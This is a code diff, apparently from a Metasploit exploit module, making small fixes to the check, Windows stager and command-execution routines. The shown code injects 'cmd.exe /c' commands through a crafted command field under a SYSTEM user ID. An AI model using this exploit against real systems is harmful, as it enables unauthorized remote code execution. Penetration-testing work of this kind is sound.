File tree Expand file tree Collapse file tree 1 file changed +7
-3
lines changed
modules/exploits/multi/misc Expand file tree Collapse file tree 1 file changed +7
-3
lines changed Original file line number Diff line number Diff line change @@ -83,10 +83,10 @@ def check
83
83
sock . put ( "#{ rand_text_alphanumeric ( 4 + rand ( 3 ) ) } \x00 " ) # user ID
84
84
sock . put ( "#{ rand_text_alpha ( 4 + rand ( 3 ) ) } \x00 " ) # password
85
85
sock . put ( "hide\x00 " ) # command
86
- data = sock . get_once
86
+ res = sock . get_once
87
87
disconnect
88
88
89
- if data && data . unpack ( 'C' ) [ 0 ] == 0
89
+ if res && res . unpack ( 'C' ) [ 0 ] == 0
90
90
return Exploit ::CheckCode ::Detected
91
91
end
92
92
@@ -97,7 +97,7 @@ def exploit
97
97
case target [ 'Platform' ]
98
98
when 'win'
99
99
print_status ( 'Exploiting Windows target...' )
100
- execute_cmdstager ( { :flavor => :vbs , :linemax => 290 , :delay => 0.75 } )
100
+ execute_cmdstager ( { :flavor => :vbs , :linemax => 290 } )
101
101
when 'unix'
102
102
print_status ( 'Exploiting Linux target...' )
103
103
exploit_unix
@@ -121,6 +121,10 @@ def execute_command(cmd, opts = {})
121
121
sock . put ( "S-1-5-18\x00 " ) # user ID
122
122
sock . put ( "#{ rand_text_alpha ( 4 + rand ( 3 ) ) } \x00 " ) # password
123
123
sock . put ( "hide hide\" \x09 \" cmd.exe /c #{ cmd } &\" \x00 " ) # command, here commands can be injected
124
+ res = sock . get_once
124
125
disconnect
126
+ unless res && res . unpack ( 'C' ) [ 0 ] == 0
127
+ fail_with ( Failure ::Unknown , "Something failed executing the stager..." )
128
+ end
125
129
end
126
130
end
You can’t perform that action at this time.
0 commit comments